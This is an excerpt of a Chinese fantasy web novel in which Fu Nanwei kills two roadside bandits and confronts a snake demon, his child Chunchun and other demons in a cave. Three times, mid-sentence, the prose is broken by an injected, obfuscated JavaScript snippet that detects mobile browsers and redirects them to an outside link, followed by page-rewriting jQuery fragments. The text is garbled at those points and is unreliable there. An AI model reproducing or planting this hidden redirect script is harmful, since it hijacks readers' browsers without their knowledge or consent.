雷杀和电电帮不上忙便象征性地擦了擦桌子,就像等待喂食的巢中小鸟一样眼巴巴地望着傅南微,乖乖地等着饭菜上桌。待傅南微拿出他们最爱的竹实时电电的眼睛都瞪圆了。 “我的最爱,谢谢娘亲!”电电似没吃过一样,感动得快哭了。 雷杀嫌弃地看着他:“口水都流碗里了,爱哭包!” 电电乐呵呵地吃着竹实,一口两三颗,根本不理会他三哥的话。 傅南微看着他们想起了风动和雨来,不知雨来有没有找到风动? 她从九嶷山回来都已经过了好几日了,一点消息也没有,她想得亲自去一趟才行。 不仅得去,还得尽快,因为等兄长回来她就走不了了。 吃了饭就去! 饭后她问了雷杀蛇妖的死穴,雷杀道:“用浸满雄黄酒的匕首插入蛇的七寸那蛇必死无疑。区区蛇妖,拿下!” “可行吗?”电电用怀疑的眼神盯着他。 “那当然了,我可是亲眼见过的,那蛇没几下就死了。”雷杀猛然兴奋起来,“娘亲要杀蛇吗?我去帮娘亲杀……诶诶诶……” 话没说完,雷杀一好好的人……竟落地成了鸡。 这猝不及防的变化把电电看呆了,他噗呲一笑,也顾不得嘴边的竹实了,明知故问道:“诶诶诶,我那么一大个三哥呢?” 视线从高处跌落到地上的雷杀小鸡崽瞅着自己的两只小爪子愣了愣,电电的笑声让他无法面对这突然的自我,干脆身子一扭:“笑屁啊笑!” “雨来有留萌萌丹给你们吗?”傅南微问电电。 “留了留了……”电电差点笑岔了气,“二哥怕三哥给娘亲生事,每人只留了三颗。娘亲昏睡的时候三哥就用了两颗,醒来他又吃了一颗,已经没啦~” 两小只修为不高,无法自由控制自己的身体,萌萌丹能让他们维持一天左右的人形,失效了就会被打回原形。这还不到一天雷杀就变回去了,傅南微想应是他刚刚过度使雷所致。 萌萌丹一直都是雨来管着,现雨来走了,雷杀只得安安分分做只小鸡崽。 看来九嶷山只得她自己去了。 叮嘱了兄弟两几句,傅南微从屋里拿了只手镯就去马棚选了匹快马。此刻从天盛城出发,太阳落山前就能赶到九嶷山。她先去买了雄黄酒,随即扬鞭奔赴九嶷山。 她父亲生前是战功赫赫的大将军,带她习过御马之术,这半日的路程本应不在话下,但可能是许久没骑了,她竟感到有些心力不足。考虑一番,决定先找个地方落脚。 离此地不远的一个山坳里,她找到了一个茶水铺,铺子不大,只坐着两个赶路人。那两人见她来了,打量审视的目光直到她坐下也没从她身上离开过。她心里后悔没穿男装,男子装束能省不少事。 待一碗清茶上桌,隔壁桌一个头戴斗笠的男人毫不客气地坐在了她的旁侧:“姑娘一人上路?” 傅南微兀自喝着自己的茶,没搭理他。 “近来这附近有蛇妖出没,可不太平。” “姑娘要去哪儿?兴许爷两个可陪你一程!”斗笠男子说完和他原桌的同伴相视一笑。 傅南微指腹摩挲着茶杯,眼睛静静盯着杯中茶水:“我要去找蛇妖,你们要和我一起吗?” 斗笠男子瞪大眼睛,怀疑地看着她,忽而大笑起来:“找蛇妖?” 寻常女子大都怕蛇,她还去找蛇妖?他宁愿相信是她在吓唬自己,可这点话又岂能吓得到他?一个姑娘家既然敢一个人来这荒郊山野,哪里就有让她完好无损回去的道理?何况此女的样貌着实生在了他的心上。 “姑娘,你确定要去吗?听说那蛇妖极为好色,不论美丑,但凡是个女子被他瞧见了都会被他抓回去,与其欢好。知道什么是欢好吗?就是男女间的那点事......听说那蛇妖长得奇丑无比,与其让你落入蛇妖手中,还不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497715|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟爷回黑风寨,这种事爷比那蛇妖有经验啊!爷向你保证,定会千倍万倍地疼爱你,不让你受……” “啪嗒~” 傅南微把酝酿在手中的茶水一滴不剩地泼在了他的脸上:“水给你了,自己照照!” 如有瀑布倾泻,斗笠男子气得嘴角都歪了,猛然蹿跳起来,手往桌上狠狠一拍:“小贱人,老子现在就要让你尝尝老子的厉害!” 傅南微见桌子没被劈开,摇了摇头,起身便踹了他一脚。 她这一脚的威力着实不小,男子被飞踹到了旁边那桌,并稳稳落在了桌子中央,随着碎裂的木桌、杯盘一起哗啦啦掉在了地上。 “二哥,帮我绑了她!”斗笠男子嘶声叫喊,面部已痛得扭曲。 与他同行的男子身体更为壮实,一句话没说,拿出把弯刀就找了过来。 傅南微侧身闪避的同时抽出随身携带的匕首,快如闪电的手将匕首对准对方后背,一击即中。 那人吃痛,虚步往前,一个没站稳就扑在了地上。 一来二去,这人总算参透出此女有些拳脚功夫,但被女人按着打他脸上总归是挂不住的,羞愤的他扛着剧痛用手撑着爬起来,再次举起那把弯刀,口造声势,靠着一股蛮力冲刺过来,硬是要搏一搏。 傅南微蹙眉,用脚勾起板凳,奋力朝他肚子踹去,同时扔出匕首。 那板凳与匕首几乎同时落在男子身上,鲜血从他心口喷流而出,顷刻间染红了他的胸膛。 此刻,还在搓揉屁股的斗笠男子惊得张大了嘴巴。 他兄弟两个是黑风寨的小喽啰,负责在此劫掠过路人,遇见女人就会绑了回去献给大当家,大当家不喜欢的才会轮到他们,山寨里那么多兄弟,啥时候能到他?今天好不容易遇到个绝色,他想独占了却不想这女的一点也不柔弱,甚至刚刚还杀了他二哥。 他很快接受了这个事实,但他又能做什么呢?二哥和命还是命更重要! 但他没想到的是,那女的竟从他二哥身上生生拔出了匕首,正……正朝他这边移步走来。 “对对......对不起,我刚刚有眼不识泰山冒犯了您,只要不杀我,让我做什么都可以……” 傅南微居高临下地俯视着他,眼神淡漠如雪:“那我要你去死!” 斗笠男子只觉脖颈一凉,再也说不出一句话来。 看见这一切的小店老板蜷缩在灶台的小角落里,吓得大气也不敢出。 傅南微没有靠近,将一锭银子放在桌子上:“这是茶钱和陪你桌子的钱,多的就当是处理尸体的辛苦钱。” 等她走了店老板才慢悠悠地挪出来,这两山贼经常来他这儿喝茶,干的什么龌龊事他怎会不知?但他终究只是个做生意的。 傅南微驾马离去,高树、草地在她两侧飞速闪退,不久,眼周的影子一层叠着一层,忽大忽小,忽远忽近,晃得她头疼。这种情况本该让马停下来的,但她此刻连拉缰绳的力气都没有了。 气力耗尽,她从马背上坠落下来,头又晕又疼,心脏也在以异于平常的速度砰砰跳动。 “娘亲~” 天旋地转的视野中倏忽跳进一个人影,低低的,绿绿的。 “娘亲?” 那孩子的声音很甜,和电电很像,但电电又怎会出现在这里呢? 5. 第 5 章 傅南微是在一个山洞里醒来的。醒来时她正靠在一面布满蓝色小花朵的花墙上,旁边还有一个与她同样坐姿的绿衣小男孩,小男孩头枕在她的肩侧,双手圈着她的小臂,一双精利明亮的大眼睛立马捕捉到她惊异的神情。 “娘亲不怕,这里虽然是个妖怪的老巢,但还威胁不到我们!” 娘亲? 妖怪的老巢? 不成威胁? 简简单单的一句话透露出许多目瞪舌僵的信息,傅南微怔怔地看着他,呼吸仿佛都缓了下来。 记得坠马后她就听见有小孩叫自己娘亲,那孩子就是他了吧。他说这里是妖怪的老巢,莫非坠马后她被妖怪抓来了这里? 是蛇妖吗? 一定是! 她不禁收紧了拳头。 “娘亲,您还是不舒服吗?”小绿娃担忧地盯着她,“那我叫爹爹来瞧瞧,爹爹可厉害啦,娘亲很快就会好起来的!” 爹爹? 傅南微的脑子宕了一瞬,难以置信地俯看着身边的小绿衣:“你在说什么?” “你是谁?” “为什么叫我娘亲?” “你爹爹又是谁?” 小绿娃僵住了,全身上下唯有嘴巴在动:“娘亲,我是……春春啊!” “春……春?” 春春噘起小嘴,一双炯炯有神的大眼睛逐渐暗沉下去:“原来爹爹说的是真的,娘亲已经不记得我们了!” 大抵是这小绿娃与电电声音太过于相似,傅南微见他伤心失落,她心中竟生出一丝怜爱来,情不自禁道:“兴许是我和你娘亲长得比较……相似,你,把我当成了她……” “不可能不可能!春春就算再眼盲也不会把娘亲认错的!”春春激动得一头扎进她的怀中,紧紧抱住她的胳膊,“在街上见您的第一眼我就认出来了,可是爹爹把我定住就是不让我去找您。爹爹说您变了我偏不信,我又悄悄跑出来找您,可惜晚了一步,刚好看见您从马背上掉下来。” “娘亲……是不是……摔着头了?” 小孩话中带着哭腔,不像在说谎。傅南微忽而想起今日买竹实在大街上遇见的两个身影,那小孩的一缕绿发她印象特别深,就是春春。 那么,他口中的爹爹便是那位与她擦肩而过的男子了。 但当时那背影不是淡定得很吗? “娘亲娘亲娘亲……您就是我们的娘亲~” 小孩声中带吖,固执又不甘。他抬起头用含满泪水的双眸望着傅南微:“娘亲不记得就算了,我和爹爹能与娘亲重逢已经很不容易了!” 说着他又擦干眼泪开心地笑起来,泛着泪光的脸颊红红润润的,竟让人有一种想要伸手摸上去的可爱劲儿。 傅南微的第一反应是这孩子的娘亲一定是一位温柔又亲和的女子。 “啊呀,我早给你说了她不是你娘的嘛!” 侧前方的一块大圆石头旁正靠着一个人,他枕着双臂,盘膝而坐,地上的一圈绿色微光勾勒着他腿脚的弧形,看起来很局促。 “就是就是就是!”春春气得跳起,跑到那人跟前,一手叉腰一手指着对方,大吼道,“你再说话,我让我爹爹来把你身上的叶子拔光,全拔光!一片都不剩!” “好的小少爷,小的知错了!您行行好,让您那好爹爹来把这破圈给我解了呗!小的腿挪不开,现在比醋都酸了已经。” 傅南微这才看清,那人居然是卖她竹实的卷老板。 “你怎么在这里?” 卷老板头一歪,笑呵呵地跟她打招呼:“好久不见啊老朋友!如你所见,我在帮一些妖怪做事,比如看着你们!虽然突然杀出个......呃......他爹来!” “你骗我?”傅南微目色一沉。 “不不不,我哪敢骗您呀?”卷老板立正身子,认真道:“我确实是个生意人!四境之内我都有生意。竹实只是……嗯……啊呀,微乎其微啦!不过,我向你保证,我卖给你的竹实都是正宗的丹穴山竹实,假一我罚十。” “你是人吗?”春春呸了他一口,“你个臭柏妖!” 卷老板哼道:“妖怎么了?你爹不也是妖?” “你能和我爹爹比吗?”春春抓起他的豆豆拳,毫不示弱,“我爹爹可是蛇妖,大大妖!比你这小妖要强千倍万倍!” 卷老板叹气:“妖比妖气死妖,好吧!这一回合我输。” 听闻,傅南微眉头一皱:“你爹是蛇妖?” 春春眼睛一亮,天真地小跑过去:“嗯嗯嗯,爹爹用了灵蛇之珠……” “他在哪儿?” “娘亲要找爹爹?”春春开心得要跳起来,“爹爹在里面的山洞,我这就带娘亲去找他。” 还没说完,春春就握起傅南微的手,拨开花墙边垂下的花帘,跑向花墙掩饰的内洞。 “爹爹爹爹,娘亲来看您啦~” 春春的声音像是把洞壁都惊醒了,傅南微有听见石粒下坠的声音。 观这洞府,虽比外面更为华丽,但却处处透着诡异。本该葱茏鲜活的藤蔓、妖冶艳丽的花朵全都褪尽了色彩,就连那稀缺的光线都似被抽走了精气一般,留得一片灰白、一片死寂。整个洞内唯有中央的那道黑衣身影还保留着本真原色,给这灰调的天地里增添了一抹暗沉的色彩。 背影很熟悉,傅南微之前猜得没错,一样的黑袍,一样的木簪,他就是大街上的那个人。 也是这样背对着她,玄衣料子勾勒出他挺拔孤冷的肩线,但这灰白的山洞却放大了他身上自带的寒意。 一时间,洞内静得能听见石子滑落的声音和水滴落下的清响。 隐隐地,傅南微感觉到了一股煞气。 岂料下一瞬,黑衣人缓缓转身,没有立刻看来人,他眼帘微垂,冷白的肤色散发着疏离冷傲的气质,长睫投下的阴影遮住了他的眼睛,看不出下头是何种情绪。 他就矗立在那里,光里的灰雾在周身流转,竟衬得他那张玉石般的侧脸有了几分恐怖的味道。 傅南微仔细审视着,突然,他抬了眼。 她呼吸一滞,仿若有一股瘆人的凉意顺着她的皮肤蔓延。 对方的目光如淬了毒的利刃,刺破灰雾,直直将她锁定。他的眼睛一瞬不眨地盯着她,似要穿透她的皮囊,要挖掘出她暗藏在灵魂深处的每一个秘密。 这种近乎侵略性的威压感,让她下意识屏住了呼吸。 “爹爹?” 春春的小甜音就像是久旱的甘露,让她从那人的威慑中逃离出来。 而此刻的春春已经跑去了对面,抱着黑衣人的大腿,仰头望着他:“爹爹不可以吓唬娘亲!” 刚刚的威压,连春春都感觉到了。 但令傅南微惊讶的是,那人竟听了春春的话,从她身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497716|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撤回了视线,最后挪到了春春身上,说了两个字:“回去。” “不嘛不嘛~”春春嘟着嘴巴,疯狂摇头,“我还想在外面多呆一会儿呢。” 黑衣人垂眸,神情意外柔和了些许:“找到百妖谱就让你出来!” “爹~” 春春还没来得及喊出另一个爹字就被一团黑色的雾气带走了。傅南微这时才注意到黑衣人腰间挂着一个核桃样式的小球,下缀黑色流苏,很是精致,春春便是进了那个小球。 她看得入了神,会不会,风动也在这里面? “它叫树球。” 听声音传来,傅南微敛了敛神,这人在给她说这球的名字? 但她更在意的还是对方的身份:“你就是前几日出现在九嶷山上的蛇妖?” 黑衣人犀利的眼神再次扎过来,没有说话。 不说话就是默认,傅南微不再畏惧他的气场:“你抓了风动?你把他怎么了?” “风动?”男人嘴角咧笑,“很好听的名字,他是你的……谁?” 这一刻,傅南微已经默认风动被他抓了:“放了他,有什么事你冲我来!” “你?” 黑衣人的声音很沉,沉得几乎听不清。 倏然,他瞬移至她身前,倾身。 温热的气息萦绕着傅南微的耳廓,低哑的声线依旧带着沉意:“你还没回答我的问题!” 傅南微嘴唇微张,熟悉的距离,熟悉的语调,熟悉的动作接连闯进她的脑海,这一刻,好似光阴也在倒退,倒退回了那个荒诞的梦境。 梦里,他抱着她,抚摸她、吻了她又咬了她。 一切都变得愈发真实起来,她的身体下意识往后倾了半分。 “永远纠缠在一起吧!” 她还记得这句话,和他刚刚的口吻一模一样。熟悉感叠加的怒意如浪潮般汹涌至头顶,她指尖一翻,一片寒芒骤现,匕尖直抵对方心口。 可黑衣人动作更快,她只觉腕间一紧,持刃的手腕被一道温热牢牢扣住,力道之大让她没有丝毫挣脱的可能。 匕首悬在了半空,一寸难进。 “你在恨我?”黑衣人的手握得更紧了,似乎想要一个解释。 傅南微吃痛,咬牙道:“我不恨你,我只想杀了你!” “为什么?” 傅南微盯着他,质问道:“你在湖底对我做了什么?” 黑衣人双眸微动,似才想起什么。可下一刻,他扔掉了她紧拽的匕首,一手揽过她的腰肢,一手扣住她的后颈,指腹轻压,俯身假意要吻:“你说这个吗?” “你……”傅南微忽觉头晕目眩,胸口发闷。力气一下抽离,她直直瘫进他的怀中。 黑衣人眉梢微挑,收紧揽腰的手:“你身上的毒唯有我能解,你确定要杀我?” 傅南微怎没料到今日频繁出现的胸闷头晕之兆是因为中了毒? 这男人是蛇妖,只有他能解毒?那这毒八成就是他下的。 “生还是死?你自己选!” 耳畔的声音很轻,但对她来说却很重。她想活着,她要不顾一切地活着,这是她的心给出的指引。 “活……” 陷入昏迷之前,她记得自己的唇瓣有了柔软的触感,片刻后又有了痛感。 她无力地攥着蛇妖的衣襟,虚弱得声线发颤。 “卑鄙……” 6. 第 6 章 再次醒来时,傅南微是以同样的姿势靠在花墙上的,只不过这里的花墙是灰白色。 “娘亲,您醒啦~” 正在地上捡叶子的春春听见动静立马小跑过来,手中还抓着一大把树叶,“我就说爹爹能治好吧!” 傅南微晃晃脑袋,不仅不昏沉,似乎比之前还爽利了不少,目光在洞内巡视了一圈,终于在一棵灰色冬青树下找到了那蛇妖。 他身前浮着一本发着黄光的书,书翻得很快,他指尖的光晕一动,书便翻了一页。 “娘亲可以和爹爹和好吗?” 春春突然把脸凑向她,努力眨巴着大眼睛。 傅南微收回视线,站起身,郑重道:“我不是你娘亲,更不可能和你爹和好。” 那蛇妖不仅抓了风动还那样侮辱她,早就刻在了她的死亡名单上。 “娘亲~”春春的眼泪说来就来,“一百年了,分开了这么久,娘亲都不想我们吗?” 傅南微回头看着春春,可能是因为电电的原因,让她有些不忍心。可一想到他是那蛇妖的孩子,是只小蛇妖,她就把这种不忍彻底击碎了:“我不是你娘。” “就是~”春春扔掉手中的树叶,牢牢抓住她的手,“明明就是嘛!” 哭得更厉害了,傅南微看着他,挺无奈的。 “春春,过来!” 黑衣人的声音冷得像会扎人的冰,傅南微清楚,这冰扎的不是春春,而是她:“不用在我面前演戏,对我下毒又给我解毒,你到底想干什么?” “你说的不错。”黑衣人将厚厚的书收入腰间的树球,转向她,“毒是我下的,所以你最好不要轻举妄动,若再用你那淬了雄黄酒的匕首对着我,那毒再次发作你也就没救了。” 再次发作? 傅南微紧抓身侧衣裙,一时无话。这蛇妖下流又卑鄙,这是要用蛇毒来拿捏她了? 见她不说话,黑衣人问:“那个叫风动的,和你是什么关系?” 傅南微一听到风动立马看向他:“你把他怎么了?” 黑衣人眼神一凛,沉声道:“我把他杀了。” “你杀了风动?”傅南微不敢置信地盯着他。 黑衣人没有承认也没有否认。 “你敢杀他,那我就杀了你。” 傅南微眼神中携带的怒意几乎快要喷涌出来,她伸出手腕,对腕上的一只金质手镯唤了声“念微”。 只见,手镯上青光乍现,一片片似花瓣一样的利箭纷纷刺向对面。 见这足以覆盖全身的箭阵飞驰过来,黑衣人眼睛微眯,这一刻,他似想到了什么,竟有那么一下的失神。 在箭阵将要触及衣身的时候,他一个闪电般的化形移位,顷刻间消失了。 落空的箭阵一飞而过,深深扎在树上,也刺入石壁。 差一点,傅南微并不打算罢手,急寻蛇妖人影时忽听耳旁传来一个声音:“你的心,好狠!” 那蛇妖竟挪到了她身后! 被恨意裹挟的她根本听不得他的话,她飞速转身,准备再发箭阵时一只小手拽住了她的袖口:“娘亲不要再伤害爹爹了!” “走开!”傅南微甩开春春的手。 小甜音哭得稀碎,双手再次抓住她的袖口。 “爹爹骗您的。” “他都没见过那个叫风动的人!” 春春哭得身子一颤一颤的,引得抓她袖口的手也抖了抖。 傅南微将信将疑地看着他,神情有了一丝松动。 “春春一直都和爹爹在一起,春春不骗娘亲。” 傅南微蹙眉,即便这小孩说的是真的,风动不在蛇妖手上,那蛇妖羞辱她的事也不可能就这么算了。 她看向蛇妖,未料会与他的视线撞个正着。 他好像一直在注视她。 到底想干什么? 在低头看见春春泪光闪闪的脸蛋的那一刻,她心中好似有了答案。 未久,外面传来声音。 “哎哟我的不染尘大人,您可算是回来了,快救救小的吧,小的这条腿都没知觉了!” 声音是卷老板,外面来人了。 外洞,一身披红绿蓝三色长袍的男人至洞口走进来,好奇地在大石头旁绕了半圈。 “有意思,不动不动卷不动,你名字这么来的?” 卷不动一脸愁苦:“妖君大人就别开玩笑了,快帮帮小的吧。”他指了指内洞的方向,“您的两个猎物在里面,您走后还还还来了个大妖。” “大妖?”不染尘立马提高警惕,凑拢他,轻声问,“谁?不夜侯还是那个灵钟老怪?” 卷不动摇头:“都不是,没见过的。” “没见过?” “嗯嗯嗯,可能又是个自命不凡的小妖吧!” 不染尘忽而一笑,扬手一挥轻易便解了卷不动身上的光圈:“都是些不知天高地厚的东西,有何可惧?” 卷不动困难地爬起来,小心翼翼地凑他耳朵前又说了句话:“论实力,那小妖当然是不及您的,主要是他模样怪……怪俊的。今儿偏又是十五,雪拂衣大人那儿会不会......” 此话一出,原本放松戒备的大妖下颚线也绷紧了:“该死,那他就活到头了!” 他疾步朝内洞走去,看见的却是这样的一幕,边上的两个两脸严肃,中间的小绿娃娃眼睛红红,一手拉着一只大手,晃了晃,一口娘亲一口爹爹。 这声音又尖又细又嗲,严重吵到了他的耳朵。 “闭嘴!” 然而,他放出的话似乎并不管用,对面的三人像是屏蔽了他。 “老子叫你闭嘴!” 这次,他扯开了喉咙。 三人的目光齐刷刷朝他飞来,他脸色一僵,灼热的视线很快落在那高大的黑衣人身上。 那人身姿挺拔,眉目清贵冷冽,分明是静立不动,却仿佛有一股沉郁的怨气从骨血中漫出来,而以他的修为居然看不出对方是什么妖。 “你,是什么妖?”他厉声问道。 黑衣人下颌微抬,只斜睨了他一眼,好像没有一点要说话的意思。 “你又是什么妖?”春春皱起眉头,死死盯着他,“速速报上名来!” “本君是这洞府的主人!”不染尘瞅了一眼春春的衣服,顿时脸色一沉,“你一个乳臭未干的奶娃娃何敢与本君穿同样颜色的衣服?” 说着,他摊开的手掌心出现一颗五颜六色的珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497717|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,念了句“天地炁始,万色归元”。 刹那间,一点点绿色的小气团从春春身上分离,如烟如雾,全部飘向不染尘,最终汇集到那颗珠子里面。 山洞里传出春春的一声大叫,他急忙翻了翻自己发白的衣服,似乎想从里面找出那失去的颜色。 “白了......全白了!!!” 春春还未干利索的眼睛又湿了,不久便泪落如雨,哭声也更上了一个层次。他咬着牙,捏起豆豆拳,一双凶凶的眼睛直直盯着对面的罪魁祸首,用哭腔咆哮道:“臭妖怪,把绿色还给我!” “小绿毛生气了?”不染尘叉腰大笑。 春春气炸了,周身蓦地蹦出如火绿光:“你敢叫我小绿毛?” 绿光如泼了油的烈火,噗一声冲开:“我打死你......” 春春誓不饶对方,气势正盛,只可惜脚才迈出一步就被迫收了回去。 黑衣人一个手掌将暴怒的春春团了回来:“乖,你还打不过他。” 春春听了猛然恸哭,把脸贴向男子的大腿,说了句话,但被断断续续的哭声混淆,也听不清说的是什么。 傅南微眼观着这一切,直觉告诉她,蛇妖可能打不过这三色妖。 可下一刻蛇妖就丢出了一句话。 “你想怎么死?” 三色妖眼神一转狠厉,一把握紧手中珠子:“上一个在本君地盘上如此大言不惭的人已经死了。” 张弓待发,傅南微坐山观虎斗,默默往后退了两步,想等他们打得不可开交时找机会离开这里。 只是,她好像没这么幸运。 外洞这时候又来了位女子。 “你家妖君呢?” 娇音婉转,却又带了些矫揉造作的味道,听起来不太自然。 “啊呀,我以为是谁呢,原来是雪拂衣大人呐,有失远迎,有失远迎……”卷不动的声音大得足以让整个洞府的人听得一清二楚。 “少废话,让不染尘出来见我!” 女子声音有了些许不耐。 这让待战的不染尘瞬间熄了教训黑衣人的心思,他指着对面点了点手指,脸上残存的怒意也掩不住他由心而发的喜色:“稍后再找你算账。” 离开之前,他多瞅了黑衣人一眼,然后在花帘处布了个结界。 傅南微去看了结界,有些失落。这结界牢不可破,看来那三色妖的确是妖族的大妖。 “想出去?”黑衣人稳稳立在冬青树下,凝视着她,眸中战意全无。 傅南微却是质疑:“你打不过他?” 闻言,黑衣人阴恻一笑:“我了解你的全部,你对我一无所知!” “你……”傅南微的脸渐渐变了颜色。 黑衣人捡起一片冬青叶,蹲下身替春春擦去眼泪,并把那片冬青叶交给春春。 就那么一瞬,傅南微竟觉得这蛇妖有了一丝人味儿。 “我劝你还是别出去,要是碰见了什么不该见的人,就不只是中毒这么简单了。” 他在警告她? “你什么意思?”傅南微问。 黑衣人抚了抚春春的额头,回头笑看她:“意思就是,你现在除了相信我,别无选择。” 7. 第 7 章 “小雪,你来啦~” 花帘之外,不染尘的嗓子像是被门夹过。 雪拂衣白衣飘逸,周身雪粒环绕,仿佛在与之嬉戏,她笑盈盈地朝他走来:“我来取色珠,可炼好了?” 好似在人心上种了一朵即将绽放的百合,她的笑总能牵动他的呼吸。 不染尘将手中的彩色珠子双手奉上:“刚炼好~” 雪拂衣满意接过,娇音一转俏皮:“辛苦了,小尘尘,下个月我再来取!” 声音轻灵,如微风碰得铃儿作响,而这足以让不染尘心神一荡:“不辛苦不辛苦,自你从大战中救下我的那一刻起,我人都是你的了,让我做什么我都愿意。” 雪拂衣捂嘴轻笑,并未说话,抬步离去时不染尘飞步拦下:“好不容易来一次,要不......多坐一会儿?” 雪拂衣瞥了他一眼,炯炯有神的眼睛写满期待:“难道,你还有色珠给我?” 闻言,不染尘眼皮缓缓下垂。 纵使他再善于取色控色,短时间内也是不可能炼就两颗色珠的。色珠光取色就要二十日,更何况珠身取材于稀缺的上等玉石。 玉石难得,他为此去过神、人、巫、妖四境,找过金玉贵族、找过玉石老板,卷不动便是这样认识的。起先他还是讲规矩的,一手交钱一手交货,做着合法正经的买卖。但随着手里的钱一笔一笔流出,他积攒的财富已经所剩无几。雪拂衣每月都会来此地取一颗色珠,他不想她对自己失望,于是就踏上了一条不归路。 有大妖警告过他,他不听,继续在四境树敌,不久前还被一只□□打得遍体鳞伤。他是大妖,妖族原来尊贵的十大妖君之一,可现在的他干的尽是些烧杀劫掠的勾当,以致沦落到只能在这破落石洞里藏身的境地。 而他做的这一切只是为了眼前这位美丽的女子。 而他背后的付出,从未对雪拂衣提过半个字。 四境天下,神族为尊,虽然他是妖族十大妖君之一,但在他心里,她依旧是那么的高不可攀。只要她能多看自己一眼,对自己笑一笑,那么他做的一切都是值得的! “不......不是。”他磕磕巴巴地回应她,只觉得自己不够努力,“是我想……” “那还是下次吧!”雪拂衣纤腰一扭,轻轻叹了口气。 一旁的卷不动看不下去了:“圣君大人等等,我们妖君想说给您准备了礼物。”他指着花帘的方向,“就在那里面。” 雪拂衣突然有了兴致:“哦?什么礼物?” 卷不动没有要遮掩的意思:“您的手不是受过伤吗?我们妖君特意为您寻得一位女子,她肌肤胜雪,玉手纤纤,和您的肤色很是契合。” 雪拂衣瞅一眼自己为白纱掩盖的右手,对不染尘会心一笑:“怎么不早说?那便去瞧瞧吧!” 卷不动躬身引路,不染尘眼看着他离花帘越来越近,不知怎么的,他意念一动,眨眼间出现在了花帘门前,拦了二人去路。 他不敢想象雪拂衣会是什么表情,也不敢看她:“下次......下次我一定扒了她的皮,替你换上。” 雪拂衣一双月牙眼中隐隐有了肃然之色,但脸上还是保持着微笑,她打量着眼前这个从不会扫她兴致的大妖,好一会儿才开口:“既然你喜欢,那便留着吧!” 说完,她潇洒转身,往洞口大步走去。 不染尘知道她话里的意思,眼下是彻底慌了。那女子本就是要献给她的,只是刚才他蓦地想到了里面的那个男子。 雪拂衣曾对他说,她年少时去四境游历过,游历的目的是为了亲眼看一看这世间更多的可能。总结下来,她遇见了很多性格各一的美男子,也和他们都有过一段轰轰烈烈的过往。 他不想,真的不想她再被美色迷惑了!那样,她一定会忘了他。 可他更不想让她认为自己喜欢上了别人。 “我喜欢你!” 不染尘痴痴望着那介如雪白衣,紧握的拳头都在颤抖:“我喜欢的是你......小雪。” 那介白衣忽地停下了脚步,但并未回头。 卷不动识趣地挪回到大石头旁边,抱紧自己,抖了抖,默默叹了口气。 洞内一时鸦雀无声。 良久,雪拂衣侧身,爱笑的眼睛亮闪闪的盯着他:“那你会把驻颜丹给我吗?” 驻颜丹? 不染尘愣了一瞬,那可是他的妖丹啊! “我是神族,你是妖族,因你们妖皇抢亲一事,神主敕令神妖两族不得通婚。你难道想学你们那个短命妖皇不成?” 雪拂衣立于明暗交界处,侧着脸,嘴角仍旧带着笑,但隐没的神情并不明晰。 “不是,不是的......”不染尘上前一步,激动道,“祁夜有棠他就是个不人不妖的怪物,除了那三个愚不可及的老妖尊他为妖皇,我们七大妖无一妖承认他是妖族至尊。” 妖族有十大妖,地位仅次于万妖之王金虎,后妖王暴亡,万妖无首,十大妖自立成君,于是又有了十大妖君的说法。 雪拂衣嗤笑一声:“可即便这样,你们妖族继位者才能拥有的至宝混沌钟还不是落到了他的手上!” 不染尘道:“三灵大妖地位颇高,盲目的拥护者太多,我们阻止不了。他们三个老东西不顾我们反对,非要将整个妖族的命运托付于一个人族小子手中,可恶那祁夜有棠恩将仇报,竟把对他不满的妖全都收进了混沌钟。若没你及时相救,我怕也是在里面了!” 他停了一息,看着雪拂衣继续道:“让他护妖族百年,可他这个只知道谈情说爱的痴情种最后居然栽在了常兮手中,连一年时间都不到啊!那三个老东西要是知道他后来的所作所为,怕是都得气活了过来。现在的妖族已经分崩离析,更不似从前了,这些全都拜他祁夜有棠所赐。” 雪拂衣想起什么,明眸一闪:“我见过他的,相貌超凡,确实人间绝色,不过,我还是最喜欢他生气时候的样子,黑气萦绕,散着头发,还有,嘴角得带上一缕血……” 她白皙的脸上流露出羡慕的神情:“可惜呀,他被我们那位小神女吃得透透的。”又感叹道,“你说他偏要来招惹她干嘛?被骗了不说还丧了命!哎,那一年才十八岁吧?如此年轻就落得个这种下场,怪可惜的~” “死丫头,不识好歹!” “太坏了!” 听着她的自言自语,不染尘有些后悔跟她聊这些了,当年他被混沌钟镇压的痛苦与羞恼她是无法共情的,她只会惋惜祁夜有棠的那张脸。 此刻他厌恶祁夜有棠的心情达到了前所未有的顶峰。 那祁夜有棠算个什么东西?怎配被他的女神同情? “下次见喽,小尘尘~” 